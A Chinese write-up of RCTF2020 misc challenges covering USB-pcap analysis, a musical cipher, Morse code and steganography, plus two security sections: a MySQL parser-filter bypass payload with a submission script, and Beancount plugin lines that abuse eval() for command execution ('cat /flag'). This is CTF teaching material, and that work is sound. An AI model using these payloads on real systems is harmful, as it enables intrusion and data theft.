RCTF2020-Misc-writeup-全

博客原文

https://blog.jeffz.cn/2020/06/01/RCTF2020-Web-Misc/

Switch PRO Controller

这题张佬@SJoshua直接拿出Pro手柄分析出了手柄的协议,找到按下按键的相对时间出的flag

但是如果没有Pro手柄怎么做出这道题?于是我决定等官方wp出来自己复现一下

出题人wp:https://github.com/Littlefisher619/MyCTFChallenges/blob/master/CTFChallengeSwitch/solution_zhcn.md

通信协议

https://github.com/ToadKing/switch-pro-x/blob/master/switch-pro-x/ProControllerDevice.cpp

这里我们需要知道按下确认键,也就是A键的相对时间,查阅上述源码得知

image.png

由于是USB包,所以这里A键的掩码为0x00000800

image.png

然后控制器数据是 0x30 开头的

也就是 30:**:**:*8:**:...

然后我们开始处理pcapng包,为了方便编写脚本处理,将其导出为json

image.png

从中抽取一个有传输数据的帧来进行分析

{
    "_index": "packets-2020-03-19",
    "_type": "pcap_file",
    "_score": null,
    "_source": {
        "layers": {
            "frame": {
                "frame.interface_id": "0",
                "frame.interface_id_tree": {
                    "frame.interface_name": "wireshark_extcap2904"
                },
                "frame.encap_type": "152",
                "frame.time": "Mar 19, 2020 13:48:22.479099000 中国标准时间",
                "frame.offset_shift": "0.000000000",
                "frame.time_epoch": "1584596902.479099000",
                "frame.time_delta": "0.015945000",
                "frame.time_delta_displayed": "0.015945000",
                "frame.time_relative": "5.008677000",
                "frame.number": "289",
                "frame.len": "91",
                "frame.cap_len": "91",
                "frame.marked": "0",
                "frame.ignored": "0",
                "frame.protocols": "usb"
            },
            "usb": {
                "usb.src": "1.44.1",
                "usb.addr": "1.44.1",
                "usb.dst": "host",
                "usb.addr": "host",
                "usb.usbpcap_header_len": "27",
                "usb.irp_id": "0xffff8d8e004b0420",
                "usb.usbd_status": "0",
                "usb.function": "9",
                "usb.irp_info": "0x00000001",
                "usb.irp_info_tree": {
                    "usb.irp_info.reserved": "0x00000000",
                    "usb.irp_info.direction": "0x00000001"
                },
                "usb.bus_id": "1",
                "usb.device_address": "44",
                "usb.endpoint_address": "0x00000081",
                "usb.endpoint_address_tree": {
                    "usb.endpoint_address.direction": "1",
                    "usb.endpoint_address.number": "1"
                },
                "usb.transfer_type": "0x00000001",
                "usb.data_len": "64",
                "usb.request_in": "286",
                "usb.time": "0.023867000",
                "usb.bInterfaceClass": "3"
            },
            "usb.capdata": "30:fa:91:00:80:00:11:88:77:cb:97:71:0c:06:04:45:fd:5a:0f:d8:ff:d0:ff:cd:ff:0c:04:48:fd:5d:0f:d5:ff:d0:ff:d1:ff:0d:04:47:fd:59:0f:d3:ff:cd:ff:d5:ff:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00"
        }
    }
}

我们只需要以上的几个数据

  • _source
    • layers
      • frame
        • frame.time_relative (相对时间)
      • usb.capdata (传输的数据)

编写脚本

import json
import cv2
import os

DELTA = 6
# 与视频中按下第一个A键
JSONFILE = 'data.json'
VEDIOFILE = 'screenrecord.mp4'
FRAMES_FOLDER = 'frames'

if not os.path.exists(FRAMES_FOLDER):
    os.makedirs(FRAMES_FOLDER)


# 获取按下A键时间
with open(JSONFILE, 'r', encoding="utf-8") as f:
    packets = json.load(f)
pressed = False
frames_time = []
for frame in packets:
    try:
        layers = frame['_source']['layers']
        time = float(layers['frame']['frame.time_relative'])
        capdata = bytearray.fromhex(layers['usb.capdata'].replace(':', ' '))
    except:
        continue
    if capdata[0] == 0x30:
        if not pressed and capdata[3] & 0x8:
            pressed = True
            press_time = (time+DELTA)*1000
            frames_time.append(press_time)  # 开始按下A键的时间
            print(f'{time} : press')
        elif pressed and not capdata[3] & 0x8:
            pressed = False
            release_time = (time+DELTA)*1000
            # 设置为按下A键的时间的中间值
            frames_time[-1] = int((frames_time[-1]+release_time)/2)
            print(f'{time} : release\n')

# 提取对应帧
cap = cv2.VideoCapture(VEDIOFILE)
for i, time in enumerate(frames_time):
    cap.set(cv2.CAP_PROP_POS_MSEC, time)
    ret, frame = cap.read()
    idx = str(i).zfill(3)
    cv2.imwrite(f'{FRAMES_FOLDER}/{idx}.jpg', frame)

查看图片得到flag

RCTF{5witch-1s-4m4z1ng-m8dw65}

按照题目要求将-换成_得到

RCTF{5witch_1s_4m4z1ng_m8dw65}

Listen

提示1804

参考https://www.freebuf.com/articles/wireless/167093.html 的密码表

img

然后找个音乐人用耳朵扒谱

得到以下谱子

播放音频获取音频文件中的琴键代表的音符(C调,1是do,8是高八度的do,9是re,a是mi,b是fa,c是sol)

45678975cba984642576576756abc9a98765a9a89456576879cba98798a9576879a98765798a943322a9876576756

结合tips.txt

The flag format is  "RCTF{xxxxxxxxxx}"
PS:All letters are lowercase

对着密码表解出flag

RCTF{ufindthemusicsecret}

mysql_interface

https://mysql-interface.rctf2020.rois.io

...

import (
    "github.com/pingcap/parser"                     // v3.1.2-0.20200507065358-a5eade012146+incompatible
    _ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() {
    for i := 0; i < len(forbidden); i++ {
        isForbidden[forbidden[i]] = true
    }
}

func allow(payload string) bool {
    if len(payload) < 3 || len(payload) > 128 {
        return false
    }
    for i := 0; i < len(payload); i++ {
        if isForbidden[payload[i]] {
            return false
        }
    }
    if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
        return true
    }
    return false
}

// do query...
...

源码是golang

分析题意

不允许使用 "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\|:;'"/?<>,\xa0" 这些字符,进行select flag from flag

还要绕过paser,使parser报错,但是又可以执行

简单看了下paser的源码,发现它使用关键字解析的,我们可以构造一些它不存在的关键字让它报错,但是又要mysql能执行的语句,然后就想到了注释

显然

select flag from flag --\x20

这个注释符是会被paser解析到的

但是我们可以构造

select flag from flag --\x04

(这里\x04还可以用别的,比如\x01\x02都可以)

(别的队用的 select flag from .flag 也可以绕过,还有大佬用handler做出来了)

从而使paser解析错误,又让mysql可以执行

然后将队友@Tyaoo的脚本稍微改改就出flag了

import hashlib
import requests as rq
import re


def cartesian_product():
    chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return [[x,y,z]for x in chars for y in chars for z  in chars]

def get_code():
    cartesian = cartesian_product()
    url = 'https://mysql-interface.rctf2020.rois.io'
    res = rq.get(url)
    hash = re.findall(r'\) = ([0-9a-f]+?)</div>', res.text)[0]
    print(f"[+] hash: {hash}")
 
    prefix = 'RCTF2020_mysql_interface_'
    codes = []
    for i in cartesian:
        i = ''.join(i)
        plain = f"{prefix}{i}"
        if hashlib.sha256(plain.encode()).hexdigest() == hash:
            print(f"[+] code: {i}")
            return i

def sql(payload:str="select flag from flag --\x04"):
    url = 'https://mysql-interface.rctf2020.rois.io'
    # payload = "select x"
    powv = get_code()
    data = {"pow":(None, powv), "sql":(None, payload)}
    res = rq.post(url, files=data)
    print(res.text)

def check():
    wl = []
    for i in range(127):
        i = chr(i)
        if i in "\x00\t\n\v\f\r`~!@#$%^&*()_=[]\{\}\\|:;'\"/?<>,\xa0":
            continue
        wl.append(i)
    print(wl)

check()
sql()
while True:
    sql(input('sql>'))
image-20200601093649227.png

其它的解法还可以看看出题人的 https://github.com/tr3ee/RCTF2020/blob/master/mysql_interface/solution/README_zh.md

bean

账本rce

可以用plugin

使用方法 https://beancount.github.io/docs/06_beancount_language_syntax.html#plugins

plugin "beancount.plugins.module_name" "configuration data"

接着搜索github库 https://github.com/beancount/beancount

  • beancount/plugins/commodity_attr.py
  • beancount/plugins/check_average_cost.py
  • beancount/plugins/divert_expenses.py
  • beancount/plugins/ira_contribs.py

发现这几个库都调用了eval()

尝试一下

plugin "beancount.plugins.commodity_attr" "__import__('os').system('ls')"
plugin "beancount.plugins.check_average_cost" "__import__('os').system('ls')"
plugin "beancount.plugins.divert_expenses" "__import__('os').system('ls')"
plugin "beancount.plugins.ira_contribs" "__import__('os').system('ls')"

发现都可以rce

随便用一个getflag

plugin "beancount.plugins.check_average_cost" "__import__('os').system('cat /flag')"

Animal

Message

int Pin=8;
void setup() {
  pinMode(Pin,OUTPUT);
}
void fun1()  // -.-. C
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun2()  // --.- Q
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun3()  // -.. D
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun4()  // . E
{
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun5()  // -.- K
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun6()  // ... S
{
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void fun7()  // ---.. 8
{
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(500);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
  digitalWrite(Pin, HIGH);
  delay(200);
  digitalWrite(Pin, LOW);
  delay(100);
}
void loop() {
// CQDEKS8
    fun1();
    fun2();
    fun1();
    fun2();
    fun1();
    fun2();
    fun3();
    fun4();
    fun5();
    // CQCQCQDEK

    fun3();
    fun4();
    fun5();
    // DEK

    fun7();
    fun7();
    // 88

    fun6();
    fun5();
    // SK

    fun6();
    fun5();
    // SK
}

摩斯电报,高电平延时500ms代表 - ,高电平延时200代表 .

具体解码看上面注释

拼起来就是CQCQCQDEKDEK88SKSK

根据以下资料

http://blog.sina.com.cn/s/blog_4b8e61600100al5m.html

https://www.douban.com/note/249330737/

http://www.wendangku.net/doc/eb93d16e58fafab069dc0288-4.html

解出电报码的含义

CQCQCQ(seek you *3 ) DE(from of) K DE(from of) K 88 SK(over) SK(over)

主体消息部分是 88,含义是love and kisses

尝试密码 Love and kisses 解出压缩包,得到一个蓝牙日志和QR码

用wireshark提取蓝牙日志,得到以下资源

  • S00429-15114219.png
  • _0ServerSendToService.txt
  • 1.png
  • secret.jpg

其中最让人在意的莫过于那张secret.jpg

secret.jpg
steghide extract -sf secret.jpg

使用 steghide 无密码,解出 flag.txt

内容为一串base64: aHR0cHMlM0EvL216bC5sYS8yV0VqbjVh

解码得到: https://mzl.la/2WEjn5a

是一个 EmojiEncrypt 的网站

这里可以选择一个个去尝试,奇怪的是这里不是正确的emoji也能得到flag(复制到剪切板发现其实多了一堆emoji),然后解出 RCTF{N0t_1s_@_B@ss}

还有一条正道就是解决QRcode的难题,这里这个QRcode不能通过正常的方法扫描

(这里吹一下QQ,扫出来了一堆东西,虽然是乱码,但是证明是有东西的

QR.png

我们可以通过 ZXing 扫出来Hex码

如下

4026c51005100fe56477232003000320030003000350030003800310033003400300020003100780031000000b6ec55006e006b006e006f0077006e0000000000000044c555006e006b006e006f0077006e000000000000001931cf8582c545bfc6d543c3afbfcfdfefcc0a0900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055005000000000000000000000000767993390000000000000000000000009399999906000000000000000000000036979963000000000000005100000000009539000000000005001511000000000070690000000050111121120000000000305900000000001522225100000000006003000000000050212201000000005015115505000000001511050000000015212211110500000000120500000050212222222211050000501205000000102222222222221105001022050000001522222222222212a1001a220500000015222222222222222211211205000000152222222222222222222212050000001522a1212222222222222212050000001622002122222222222222140500000015221121222222222222221400000000152222222222222222224458000000001522222222222222224484010000000040444424222222424484480000000000a08888884844848888885400000000000081888888888888881800000000000000a0414444444444110500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ec11ec11

保存为文件

image.png

发现这个图形挺抽象的,尝试编写脚本将其转成图片

from PIL import Image
with open('QR.dat','rb') as f:
    dat = f.read()
print(dat)
img = Image.new('L',(160,400),(255))
i=0
while i<len(dat):
    p = Image.new('L',(10,10),(dat[i]))
    img.paste(p,((i%16)*10,(i//16)*10,(i%16)*10+10,(i//16)*10+10))
    i+=1
img.save('out.png')
img.show()
out.png

得到一条喷水的鲸,所以解码的emoji就是鲸

image.png

解码之后同样得到 RCTF{N0t_1s_@_B@ss}

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。